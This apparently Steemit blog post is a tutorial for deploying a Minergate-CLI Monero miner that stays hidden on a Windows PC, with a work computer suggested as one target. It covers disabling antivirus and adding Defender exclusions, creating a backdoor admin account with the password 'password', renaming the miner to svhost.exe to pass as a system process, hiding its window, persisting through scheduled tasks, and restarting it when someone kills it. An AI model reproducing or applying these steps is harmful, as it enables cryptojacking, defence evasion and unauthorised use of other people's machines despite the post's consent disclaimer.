Running Minergate-CLI in Hidden Mode

in #minergate6 years ago

Sometimes there is a need to run Minergate-CLI out of sight and out of mind. You might have a PC you own at work that you want to run the software on. I have written a detailed guide on how to run it hidden from the taskbar. They work perfectly well on Windows 10 and the Live CD works well on any PC that does not have boot secure turned on.

As this can be used for malicious intent, this content is paid content and comes with a notice. I will not be held responsible for the use of these scripts in your own environment; USE AT YOUR OWN RISK and these scripts are to be only run on computers for which the owners are FULLY AWARE that you are running Minergate-CLI on.

Requirements for Powershell Script:

  • Windows 10 or Windows Server 2016 (Does not run on any other platform)
  • Administrator Rights
  • Disable or Add exceptions to Anti-Virus for the following folder: C:\ProgramData\Java\

The first step is to create a Github.com account. Sign up here: https://github.com/join

GitHub Signup

Once you have created a free account and logged click in the top right corner and navigate to 'Your Gists'

Navigate to Gists

Step 2 - Create Gist


In the next view, you will be given the option to create your first 'gist'

  • Give your gist a name; for example Minergate-Install
  • Give your gist a filename; for simplicity name it Install.ps1
  • Copy the code snippet below the next section. Make sure you replace the parts of the code with your Minergate email address; in this example replace (hawkrypted @ protonmail.com) with your own. I have detailed the code so you can understand what it does.
  • Once you have made the changes and copied the code into the Gist click on 'Create secret gist'
Create Secret Gist

This script does the following: (All these variables are at the top of the script and can be tweaked. I will provide more detail)

  • Runs in two modes: 75% between 7 AM and 6:30 PM and 100% between 7 PM and 6:30 AM
  • Creates a local administrator account with no password expiry: Username: localadmin Password: password
  • Determines if the computer is running 64-Bit. If it isn't it doesn't run.
  • Creates exceptions in Windows Defender for Minergate-CLI and the folder it sits in
  • Downloads and unzips Minergate to C:\ProgramData\Java\
  • Renames Minergate-CLI.exe to svhost.exe 
  • Creates the batch files (.bat) to start Minergate-CLI
  • Create VBScript that hides the Minergate console. The only place to see it running is Taskmanager
  • Creates Scheduled Tasks that run in the background even when the computer is logged off
As long as the computer is on it will mine Monero 23 hours a day. Allowing for an hour break each night and morning.

Code is located at the link below:
https://pastebin.com/u82WAtzQ

Sometimes the username and password creation part of the script fails. This is most likely due to group policy requirements pushed down from your domain administrator. The code will still execute successfully; you just won't have a local admin account created.

If you want to edit the username and password, these are the first two variables in the script.

If you want to delete the account creation, delete the following code after the variables: https://pastebin.com/embed_js/ugZNCRWZ

The $CPUQuery command gets the total number of physical cores and then the following commands divide it / by the required amount (2 means half the CPU usage and 1 means full CPU usage)

The following variables related to the CPU Usage: https://pastebin.com/embed_js/LGqZkBs5

If you want to edit the times Minergate runs edit the following variables:

(This kills the 50% day schedule)
$NightAction = New-ScheduledTaskAction -Execute 'C:\ProgramData\Java\Database\Kill.bat'
$NightTrigger = New-ScheduledTaskTrigger -Daily -At 6:30pm

(This starts the 100% night schedule)
$NightMineAction = New-ScheduledTaskAction -Execute 'C:\ProgramData\Java\Database\night.vbs'
$NightMineTrigger = New-ScheduledTaskTrigger -Daily -At 7pm

(This kills the 100$ night schedule)
$DayAction = New-ScheduledTaskAction -Execute 'C:\ProgramData\Java\Database\Kill.bat'
$DayTrigger = New-ScheduledTaskTrigger -Daily -At 6:30am

(This starts the 50% day schedule)
$DayMineAction = New-ScheduledTaskAction -Execute 'C:\ProgramData\Java\Database\day.vbs'
$DayMineTrigger = New-ScheduledTaskTrigger -Daily -At 7am

Once you have created the secret gist click on 'Raw'

Raw View

This will give you the final file we need to create the code to install your file.

Using the following code as an example insert the URL of the gist you created:

Raw Gist URL

https://pastebin.com/embed_js/KqezBphx

At this point, you have all the code ready to go. All you need to do is open up a command prompt (CMD) as Administrator and paste the above code (with your replaced URL) in and the script will run and do its job.

If you want the miner to start again automatically when it killed off in task manager:

In both batch files add a line of code:

Taskkill /IM svhost.exe /F
cd C:\ProgramData\Java\Database
:miner
timeout /t 60
svhost -user hawkrypted @ protonmail.com -fcn+xmr 4
goto miner

When the svhost.exe is killed the batch file will loop back to the :miner command and start again after 60 seconds.

Ethereum:
0xb689FC318554f712EEb5D06936F2372337Fcb66D

Bitcoin:
16r3bd4VQNfurNjtUshnVek4E6gNBScPxJ

Verge:
DCydgAdJ22K3qu1VA3evhCZpoCVEZR4Xwr

Waltonchain:
0x97207b07e3c340338d2dd0fa97a125b4c9b02c79

Sort:  

Very cool! Handy for having on my machine at home without getting in the way visually. Nice to have it automated, too. Thanks for an awesome tutorial!

Coin Marketplace

STEEM 0.17
TRX 0.13
JST 0.027
BTC 59661.11
ETH 2670.22
USDT 1.00
SBD 2.50